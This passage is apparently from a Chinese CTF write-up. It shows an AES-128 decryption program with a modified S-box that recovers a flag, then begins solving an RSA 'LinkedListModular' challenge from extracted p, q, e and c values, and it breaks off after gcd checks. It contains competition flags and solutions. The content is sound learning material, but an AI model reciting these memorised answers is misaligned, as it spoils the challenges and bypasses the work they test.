0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
};*/
unsigned char S[256] = {0x7C, 0xCA, 0x7B, 0x77, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01,
0x67, 0x2B, 0xFE, 0xD7, 0x47, 0xAB, 0x76, 0x63, 0x82, 0xC9,
0x7D, 0xFA, 0x59, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4,
0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,
0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7,
0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2,
0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E,
0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB,
0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB,
0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C,
0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5,
0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0x97, 0xCD,
0x0C, 0x13, 0xEC, 0x5F, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D,
0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A,
0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3,
0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,
0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A,
0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6,
0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E,
0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9,
0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9,
0x8E, 0x94, 0x9B, 0x1E, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C,
0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D,
0x0F, 0xB0, 0x54, 0xBB, 0x16, 0x87};




//逆S盒
unsigned char inv_S[256] = {
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D
};

/* copy in[16] to state[4][4] */
int loadStateArray(uint8_t (*state)[4], const uint8_t *in) {
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
state[j][i] = *in++;
}
}
return 0;
}

/* copy state[4][4] to out[16] */
int storeStateArray(uint8_t (*state)[4], uint8_t *out) {
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
*out++ = state[j][i];
}
}
return 0;
}
//秘钥扩展
int keyExpansion(const uint8_t *key, uint32_t keyLen, AesKey *aesKey) {

if (NULL == key || NULL == aesKey){
printf("keyExpansion param is NULL\n");
return -1;
}

if (keyLen != 16){
printf("keyExpansion keyLen = %d, Not support.\n", keyLen);
return -1;
}

uint32_t *w = aesKey->eK; //加密秘钥
uint32_t *v = aesKey->dK; //解密秘钥

/* keyLen is 16 Bytes, generate uint32_t W[44]. */

/* W[0-3] */
for (int i = 0; i < 4; ++i) {
LOAD32H(w[i], key + 4*i);
}

/* W[4-43] */
for (int i = 0; i < 10; ++i) {
w[4] = w[0] ^ MIX(w[3]) ^ rcon[i];
w[5] = w[1] ^ w[4];
w[6] = w[2] ^ w[5];
w[7] = w[3] ^ w[6];
w += 4;
}

w = aesKey->eK+44 - 4;
//解密秘钥矩阵为加密秘钥矩阵的倒序,方便使用,把ek的11个矩阵倒序排列分配给dk作为解密秘钥
//即dk[0-3]=ek[41-44], dk[4-7]=ek[37-40]... dk[41-44]=ek[0-3]
for (int j = 0; j < 11; ++j) {

for (int i = 0; i < 4; ++i) {
v[i] = w[i];
}
w -= 4;
v += 4;
}

return 0;
}

// 轮秘钥加
int addRoundKey(uint8_t (*state)[4], const uint32_t *key) {
uint8_t k[4][4];

/* i: row, j: col */
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
k[i][j] = (uint8_t) BYTE(key[j], 3 - i); /* 把 uint32 key[4] 先转换为矩阵 uint8 k[4][4] */
state[i][j] ^= k[i][j];
}
}

return 0;
}

//字节替换
int subBytes(uint8_t (*state)[4]) {
/* i: row, j: col */
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
state[i][j] = S[state[i][j]]; //直接使用原始字节作为S盒数据下标
}
}

return 0;
}

//逆字节替换
int invSubBytes(uint8_t (*state)[4]) {
/* i: row, j: col */
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
state[i][j] = inv_S[state[i][j]];
}
}
return 0;
}

//行移位
int shiftRows(uint8_t (*state)[4]) {
uint32_t block[4] = {0};

/* i: row */
for (int i = 0; i < 4; ++i) {
//便于行循环移位,先把一行4字节拼成uint_32结构,移位后再转成独立的4个字节uint8_t
LOAD32H(block[i], state[i]);
block[i] = ROF32(block[i], 8*i);
STORE32H(block[i], state[i]);
}

return 0;
}

//逆行移位
int invShiftRows(uint8_t (*state)[4]) {
uint32_t block[4] = {0};

/* i: row */
for (int i = 0; i < 4; ++i) {
LOAD32H(block[i], state[i]);
block[i] = ROR32(block[i], 8*i);
STORE32H(block[i], state[i]);
}

return 0;
}

/* Galois Field (256) Multiplication of two Bytes */
// 两字节的伽罗华域乘法运算
uint8_t GMul(uint8_t u, uint8_t v) {
uint8_t p = 0;

for (int i = 0; i < 8; ++i) {
if (u & 0x01) { //
p ^= v;
}

int flag = (v & 0x80);
v <<= 1;
if (flag) {
v ^= 0x1B; /* x^8 + x^4 + x^3 + x + 1 */
}

u >>= 1;
}

return p;
}

// 列混合
int mixColumns(uint8_t (*state)[4]) {
uint8_t tmp[4][4];
uint8_t M[4][4] = {{0x02, 0x03, 0x01, 0x01},
{0x01, 0x02, 0x03, 0x01},
{0x01, 0x01, 0x02, 0x03},
{0x03, 0x01, 0x01, 0x02}};

/* copy state[4][4] to tmp[4][4] */
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j){
tmp[i][j] = state[i][j];
}
}

for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) { //伽罗华域加法和乘法
state[i][j] = GMul(M[i][0], tmp[0][j]) ^ GMul(M[i][1], tmp[1][j])
^ GMul(M[i][2], tmp[2][j]) ^ GMul(M[i][3], tmp[3][j]);
}
}

return 0;
}

// 逆列混合
int invMixColumns(uint8_t (*state)[4]) {
uint8_t tmp[4][4];
uint8_t M[4][4] = {{0x0E, 0x0B, 0x0D, 0x09},
{0x09, 0x0E, 0x0B, 0x0D},
{0x0D, 0x09, 0x0E, 0x0B},
{0x0B, 0x0D, 0x09, 0x0E}}; //使用列混合矩阵的逆矩阵

/* copy state[4][4] to tmp[4][4] */
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j){
tmp[i][j] = state[i][j];
}
}

for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
state[i][j] = GMul(M[i][0], tmp[0][j]) ^ GMul(M[i][1], tmp[1][j])
^ GMul(M[i][2], tmp[2][j]) ^ GMul(M[i][3], tmp[3][j]);
}
}

return 0;
}

// AES-128加密接口,输入key应为16字节长度,输入长度应该是16字节整倍数,
// 这样输出长度与输入长度相同,函数调用外部为输出数据分配内存
int aesEncrypt(const uint8_t *key, uint32_t keyLen, const uint8_t *pt, uint8_t *ct, uint32_t len) {

AesKey aesKey;
uint8_t *pos = ct;
const uint32_t *rk = aesKey.eK; //解密秘钥指针
uint8_t out[BLOCKSIZE] = {0};
uint8_t actualKey[16] = {0};
uint8_t state[4][4] = {0};

if (NULL == key || NULL == pt || NULL == ct){
printf("param err.\n");
return -1;
}

if (keyLen > 16){
printf("keyLen must be 16.\n");
return -1;
}

if (len % BLOCKSIZE){
printf("inLen is invalid.\n");
return -1;
}

memcpy(actualKey, key, keyLen);
keyExpansion(actualKey, 16, &aesKey); // 秘钥扩展

// 使用ECB模式循环加密多个分组长度的数据
for (int i = 0; i < len; i += BLOCKSIZE) {
// 把16字节的明文转换为4x4状态矩阵来进行处理
loadStateArray(state, pt);
// 轮秘钥加
addRoundKey(state, rk);

for (int j = 1; j < 10; ++j) {
rk += 4;
subBytes(state); // 字节替换
shiftRows(state); // 行移位
mixColumns(state); // 列混合
addRoundKey(state, rk); // 轮秘钥加
}

subBytes(state); // 字节替换
shiftRows(state); // 行移位
// 此处不进行列混合
addRoundKey(state, rk+4); // 轮秘钥加

// 把4x4状态矩阵转换为uint8_t一维数组输出保存
storeStateArray(state, pos);

pos += BLOCKSIZE; // 加密数据内存指针移动到下一个分组
pt += BLOCKSIZE; // 明文数据指针移动到下一个分组
rk = aesKey.eK; // 恢复rk指针到秘钥初始位置
}
return 0;
}

// AES128解密, 参数要求同加密
int aesDecrypt(const uint8_t *key, uint32_t keyLen, const uint8_t *ct, uint8_t *pt, uint32_t len) {
AesKey aesKey;
uint8_t *pos = pt;
const uint32_t *rk = aesKey.dK; //解密秘钥指针
uint8_t out[BLOCKSIZE] = {0};
uint8_t actualKey[16] = {0};
uint8_t state[4][4] = {0};

if (NULL == key || NULL == ct || NULL == pt){
printf("param err.\n");
return -1;
}

if (keyLen > 16){
printf("keyLen must be 16.\n");
return -1;
}

if (len % BLOCKSIZE){
printf("inLen is invalid.\n");
return -1;
}

memcpy(actualKey, key, keyLen);
keyExpansion(actualKey, 16, &aesKey); //秘钥扩展,同加密

for (int i = 0; i < len; i += BLOCKSIZE) {
// 把16字节的密文转换为4x4状态矩阵来进行处理
loadStateArray(state, ct);
// 轮秘钥加,同加密
addRoundKey(state, rk);

for (int j = 1; j < 10; ++j) {
rk += 4;
invShiftRows(state); // 逆行移位
invSubBytes(state); // 逆字节替换,这两步顺序可以颠倒
addRoundKey(state, rk); // 轮秘钥加,同加密
invMixColumns(state); // 逆列混合
}

invSubBytes(state); // 逆字节替换
invShiftRows(state); // 逆行移位
// 此处没有逆列混合
addRoundKey(state, rk+4); // 轮秘钥加,同加密

storeStateArray(state, pos); // 保存明文数据
pos += BLOCKSIZE; // 输出数据内存指针移位分组长度
ct += BLOCKSIZE; // 输入数据内存指针移位分组长度
rk = aesKey.dK; // 恢复rk指针到秘钥初始位置
}
return 0;
}

// 方便输出16进制数据
void printHex(uint8_t *ptr, int len, char *tag) {
printf("%s\ndata[%d]: ", tag, len);
for (int i = 0; i < len; ++i) {
printf("%.2X ", *ptr++);
}
printf("\n");
}

int main() {
//S盒有变化,需要求出逆S盒
//unsigned char change_S[256] = {};
uint8_t line=0,rol=0; //位置
for(int i=0;i<256;i++){
line = (S[i]&0xf0)>>4;
rol = S[i]&0xf;
inv_S[line*16+rol] = i;
}

const uint8_t key[16] = {83, 89, 67, 76, 79, 86, 69, 82, 83, 89, 67, 76, 79, 86, 69, 82};
//const uint8_t pt[16]={0x32, 0x43, 0xf6, 0xa8, 0x88, 0x5a, 0x30, 0x8d, 0x31, 0x31, 0x98, 0xa2, 0xe0, 0x37, 0x07, 0x34};
uint8_t ct[32] = {0x99, 0xE8, 0xB8, 0x01, 0xC8, 0x82, 0x51, 0x93, 0x12, 0xEE,
0x89, 0x64, 0xE7, 0xEF, 0x63, 0x8D, 0x51, 0xDF, 0x5D, 0x78,
0x39, 0xAA, 0x39, 0x62, 0xA0, 0xB4, 0x50, 0x30, 0x47, 0x30,
0x21, 0x06}; // 外部申请输出数据内存,用于加密后的数据
uint8_t plain[32] = {0}; // 外部申请输出数据内存,用于解密后的数据
//aesEncrypt(key, 16, pt, ct, 16); // 加密
//printHex(pt, 16, "plain data:"); // 打印初始明文数据
//printHex(ct, 16, "after encryption:"); // 打印加密后的密文

aesDecrypt(key, 16, ct, plain, 32); // 解密
printHex(plain, 32, "after decryption:"); // 打印解密后的明文数据
return 0;
}

// SYC{B3l1eue_Th@t_y0u__l3aRn_Aes}

Reverse/Crypto

LinkedListModular

公司职员发现关键数据被加密了,请帮忙解密出来,注意e和phi。flag为输入的256长度的hex字符串的md5值,并包裹flag{}提交。该题需要一些逆向基础(C实现的程序,内含链表、gmp库相关),可与队友联合解题,也可学习些二进制基础,对以后有益。

分析,key为 KnowYouLikeCrypto,生成的文件为异或key的结果,异或得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cmp0

p:0xae1e96a501b0360bd9ca423f2d9366e7c01c56e2d02dd20effc4c290e8bbd2cc53bb2a65b5262e254418d706335708ebd713cf9fac04fb1209d666adc6ebb6fee8c97a8dde4c23d3704198f918de46fe69a0d4d7878341c25118e7d1ac368753ce45f77b64580e0a89e300ac8f1be75d3a001df26bcfdaf82a479e14f6f25bfb q:0xcfc337e9217545d01babb00c330747aed4e6d99df42892bffce38e9b5c8a89d0528a7daac8d0075d72813669bc332688c9f6df2793b393580ac71f05db159e2dee3a6fd34ca2ba5ccae8428efefd6ee5454b6751ca71c008468278d7fe911e8c292172fa77468e996d80f4661c24ccdcc76c655a9168b0edeed165b2dd89501b e:0xd322 c:0x6f23dc633746ecd6f6b6c753556a969ded7f9033b7617d4497b3a3ac685b92063e42c5657a01604ed084035637440889bd6865449021a15dfa33ed2d9531f50c41d452df7399554a35f4340993d64c9e1c7b54894d291b33ac95b39719093d788a1d218f54f00494990f8aff3d09e21edae2172cd8b42ae6f8abfdb05e5d9a6ff4b5092f60f8ce2a576e429a80bd15fc7073d75415c824fc450a9295128e30804760179bc3213ade1121d615f7ebbf192f93dd25031de12e12e15ae189db525ddbdfb2f54f098c0a027b6b1277c22108dfd2699f7946ce51f1c73a78721896bd8baa3b7fa4dfc063ab212eb0684531f372f2edc7b1f7baa3353b55cc750b95ff

cmp1

p:0x7a7b8ee72d467eefe378502ca7804e0b55e0b68987dd7e8c03f7f7f717554183d2a0d99c7b33e8e1a28be171b77f8974616ac49645d7d5cf6fe5f4dcbfd1d25c3ad75e1eb3e4038d55a29c7114e176fd34626c2a8e76021d079cdb85cc8016acab00047910dfa5cd0439a3cc13527557ea879c184454a443711083a4f9d1d46b q:0xc17c7a7fbc5469af413f79c07cc5b892cfbbaa00950b115e267e83e2669f3f6779c7302ecfc9f850e0e4185892e96d356d65b1d372432c5a3f297cfb8373fe9a090a3f8dadf6ef6f2ca5b5107454ee6b1385d165bb4bb7776cbbccb8de1993a5ebb34ee365ff39b9ec9613121ba99d74759e0bf80726805ce03ed7f1e49375f1 e:0x10ae c:0x5be0df3bb240ffd53f2d914eb79878231821a1dba5cc491a888c8fd553a905a7f1cea2750c39ea48ab4175115591310c0f9d63e1aee9d2480780f3ce4f98c57114cd2901ea6f560e04a0a9cec157dac3def734fa10ab54c27bf20211cf1f1f6f6afe5fc9ef5c9af864f054a5e61c48c6e6dc087cc350008d4232d08b0b5011923f1077ead75d54a792aa8a51a0b37bfa3faef0b9380cff209c7bf3a20fbbb087caf177b83c9bf03e965bd7347dd18418f3e50aef29cc89fa594ccd31b6f63f397eeba71629fec2c8699148dfd6be32deb96577690814bb4fe6dbefe2379468e0e317a870795ba04ab2e306fe5340700c415048eff5909a2453752845572a0931

cmp2

p:0xa2562b53b1ff8b9635122c92612d8b6ea43ac0e40115c03befc0fb1bdefcda35a77f1cf23e5fdfa51ee864dac707524584cf4243cade36ea0b2ce14d9337d796f85b730483e7b6e342d44a36a1bc4052125b4eaef3724af9cfb8cab719d9efc54df851042408c2f69c1e5f46f00f067f7fa5cf7a3cb227879cbdefac7eab6cd3 q:0xfeec12d4602e4895f53715d7e5a7583ee93c49079480aadae13c7c9d720a5fd976b6b9ac5ef65570f9e9d9b6d0b0b39f1372ea819bc14cc10a0a23a7f22f60c1a4fc536ebc4997bb873db9d8cb34f58fec2a05dc766cb865e09aa6c1a059713ccb1b31a9c986ecd4f45dc53c95e32ae6d370ee3566daa8b5f5bf6fe5fa20cd0f e:0xc051 c:0xa798cb067b716ae1382d2070efb8bdb71050b88d9503a68fe5e851999071e4ee9f72c88b3975de09e8f436566d75f90e6388fddb3497b1e8f8f6bf8ad13cd35040d6b5b3f2e3ba3b1dddf14800840b0bfb08f25b5546cd5a34025e8eaaf289478c5f1b91229a31c980f773deb90cc0752da82aa17585bb616fc0b4f0749003a36f11acbdd4e85f7b092ee3864835c1063afccdbf3b585855a03e904cbc9c7fe9d86011a1237e396e4e2c72deec76829de7e67282cda86abd348bb98aac5ea83f3735c70a29f45cff6b4b76b03f12c4ea936368d13ba15a87da416a91be05ebaa0e67e1070e5d7a15f178c42ff05bab0e3de009f00b8e4cecf950f7250427e12

cmp3

p:0xb06c6c2ac320c555cc4bc5bc89976436582de33d77788ed0eb1e5b726e242c2890ede50d918d3b7cab74141519e43761f515590279fb4fa8674a94d0985aedfa4b54580307416aa1888015e12e2536350ffa418203161b5fb2438035160327e21f4015d4b7393d90fff50f8d5be3da08abefac23898a55dc60a24470c8fe76eb q:0xadabc61519e9642517eb5c2a4a416f34c62a2c1ea6ec4c1d0d4686a95c31dcabba2c13fa8217e14fc541857b846d88027a1f7cfee9aba0757c3a92ab579086586c0e52b8184de0c69ae674b034342b0db40955fbffdc84ee875b9b84f7d2bf32836f03c304b34fea2ea03731af95d9156b91a16ff9338fe8a9fce24525b65509 e:0xd2c2 c:0x11861752a8ca58b777300efbc8ed05ea54d0c326cbfb573a0bd21fe5a20191b03f07be7aea9ac192adbe48726a0a03ccc838375d7c4fcd0b8814578fad47ea0407281bbb205960c6453fff81584ce334a23960c6321c720da7b190281c6d46b55e3bab0493d8ff6cf3855a2a6039c259f955e2cbdfb9dcabc813ad82c5333d535950e28cfb2aa556c32700f64c2b63058cf33fe6c40677a93d8c80a0f9db60da1ce90182ed0aa6ed33a2a9288dc9ff19ed9bffb59991bddf282b38a59ded27f71c4e5e0190e5244d916556c033bb2a184c87cf1923fb87902fa9dbb5ad5f927249bedfa4b47e5a379297926e3216a808b93ea2c7bf014c0b7ae29eacf595a43e

解RSA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from Crypto.Util.number import *
from gmpy2 import *
from hashlib import md5

p1 = 0xae1e96a501b0360bd9ca423f2d9366e7c01c56e2d02dd20effc4c290e8bbd2cc53bb2a65b5262e254418d706335708ebd713cf9fac04fb1209d666adc6ebb6fee8c97a8dde4c23d3704198f918de46fe69a0d4d7878341c25118e7d1ac368753ce45f77b64580e0a89e300ac8f1be75d3a001df26bcfdaf82a479e14f6f25bfb
q1 = 0xcfc337e9217545d01babb00c330747aed4e6d99df42892bffce38e9b5c8a89d0528a7daac8d0075d72813669bc332688c9f6df2793b393580ac71f05db159e2dee3a6fd34ca2ba5ccae8428efefd6ee5454b6751ca71c008468278d7fe911e8c292172fa77468e996d80f4661c24ccdcc76c655a9168b0edeed165b2dd89501b
e1 = 0xd322
c1 = 0x6f23dc633746ecd6f6b6c753556a969ded7f9033b7617d4497b3a3ac685b92063e42c5657a01604ed084035637440889bd6865449021a15dfa33ed2d9531f50c41d452df7399554a35f4340993d64c9e1c7b54894d291b33ac95b39719093d788a1d218f54f00494990f8aff3d09e21edae2172cd8b42ae6f8abfdb05e5d9a6ff4b5092f60f8ce2a576e429a80bd15fc7073d75415c824fc450a9295128e30804760179bc3213ade1121d615f7ebbf192f93dd25031de12e12e15ae189db525ddbdfb2f54f098c0a027b6b1277c22108dfd2699f7946ce51f1c73a78721896bd8baa3b7fa4dfc063ab212eb0684531f372f2edc7b1f7baa3353b55cc750b95ff

p2 = 0x7a7b8ee72d467eefe378502ca7804e0b55e0b68987dd7e8c03f7f7f717554183d2a0d99c7b33e8e1a28be171b77f8974616ac49645d7d5cf6fe5f4dcbfd1d25c3ad75e1eb3e4038d55a29c7114e176fd34626c2a8e76021d079cdb85cc8016acab00047910dfa5cd0439a3cc13527557ea879c184454a443711083a4f9d1d46b
q2 = 0xc17c7a7fbc5469af413f79c07cc5b892cfbbaa00950b115e267e83e2669f3f6779c7302ecfc9f850e0e4185892e96d356d65b1d372432c5a3f297cfb8373fe9a090a3f8dadf6ef6f2ca5b5107454ee6b1385d165bb4bb7776cbbccb8de1993a5ebb34ee365ff39b9ec9613121ba99d74759e0bf80726805ce03ed7f1e49375f1
e2 = 0x10ae
c2 = 0x5be0df3bb240ffd53f2d914eb79878231821a1dba5cc491a888c8fd553a905a7f1cea2750c39ea48ab4175115591310c0f9d63e1aee9d2480780f3ce4f98c57114cd2901ea6f560e04a0a9cec157dac3def734fa10ab54c27bf20211cf1f1f6f6afe5fc9ef5c9af864f054a5e61c48c6e6dc087cc350008d4232d08b0b5011923f1077ead75d54a792aa8a51a0b37bfa3faef0b9380cff209c7bf3a20fbbb087caf177b83c9bf03e965bd7347dd18418f3e50aef29cc89fa594ccd31b6f63f397eeba71629fec2c8699148dfd6be32deb96577690814bb4fe6dbefe2379468e0e317a870795ba04ab2e306fe5340700c415048eff5909a2453752845572a0931

p3 = 0xa2562b53b1ff8b9635122c92612d8b6ea43ac0e40115c03befc0fb1bdefcda35a77f1cf23e5fdfa51ee864dac707524584cf4243cade36ea0b2ce14d9337d796f85b730483e7b6e342d44a36a1bc4052125b4eaef3724af9cfb8cab719d9efc54df851042408c2f69c1e5f46f00f067f7fa5cf7a3cb227879cbdefac7eab6cd3
q3 = 0xfeec12d4602e4895f53715d7e5a7583ee93c49079480aadae13c7c9d720a5fd976b6b9ac5ef65570f9e9d9b6d0b0b39f1372ea819bc14cc10a0a23a7f22f60c1a4fc536ebc4997bb873db9d8cb34f58fec2a05dc766cb865e09aa6c1a059713ccb1b31a9c986ecd4f45dc53c95e32ae6d370ee3566daa8b5f5bf6fe5fa20cd0f
e3 = 0xc051
c3 = 0xa798cb067b716ae1382d2070efb8bdb71050b88d9503a68fe5e851999071e4ee9f72c88b3975de09e8f436566d75f90e6388fddb3497b1e8f8f6bf8ad13cd35040d6b5b3f2e3ba3b1dddf14800840b0bfb08f25b5546cd5a34025e8eaaf289478c5f1b91229a31c980f773deb90cc0752da82aa17585bb616fc0b4f0749003a36f11acbdd4e85f7b092ee3864835c1063afccdbf3b585855a03e904cbc9c7fe9d86011a1237e396e4e2c72deec76829de7e67282cda86abd348bb98aac5ea83f3735c70a29f45cff6b4b76b03f12c4ea936368d13ba15a87da416a91be05ebaa0e67e1070e5d7a15f178c42ff05bab0e3de009f00b8e4cecf950f7250427e12

p4 = 0xb06c6c2ac320c555cc4bc5bc89976436582de33d77788ed0eb1e5b726e242c2890ede50d918d3b7cab74141519e43761f515590279fb4fa8674a94d0985aedfa4b54580307416aa1888015e12e2536350ffa418203161b5fb2438035160327e21f4015d4b7393d90fff50f8d5be3da08abefac23898a55dc60a24470c8fe76eb
q4 = 0xadabc61519e9642517eb5c2a4a416f34c62a2c1ea6ec4c1d0d4686a95c31dcabba2c13fa8217e14fc541857b846d88027a1f7cfee9aba0757c3a92ab579086586c0e52b8184de0c69ae674b034342b0db40955fbffdc84ee875b9b84f7d2bf32836f03c304b34fea2ea03731af95d9156b91a16ff9338fe8a9fce24525b65509
e4 = 0xd2c2
c4 = 0x11861752a8ca58b777300efbc8ed05ea54d0c326cbfb573a0bd21fe5a20191b03f07be7aea9ac192adbe48726a0a03ccc838375d7c4fcd0b8814578fad47ea0407281bbb205960c6453fff81584ce334a23960c6321c720da7b190281c6d46b55e3bab0493d8ff6cf3855a2a6039c259f955e2cbdfb9dcabc813ad82c5333d535950e28cfb2aa556c32700f64c2b63058cf33fe6c40677a93d8c80a0f9db60da1ce90182ed0aa6ed33a2a9288dc9ff19ed9bffb59991bddf282b38a59ded27f71c4e5e0190e5244d916556c033bb2a184c87cf1923fb87902fa9dbb5ad5f927249bedfa4b47e5a379297926e3216a808b93ea2c7bf014c0b7ae29eacf595a43e

f1 = (p1-1)*(q1-1)
f2 = (p2-1)*(q2-1)
f3 = (p3-1)*(q3-1)
f4 = (p4-1)*(q4-1)
print(gcd(e1,f1))
print(gcd(e2,f2))
print(gcd(e3,f3))
print(gcd(e4,f4))

# 1
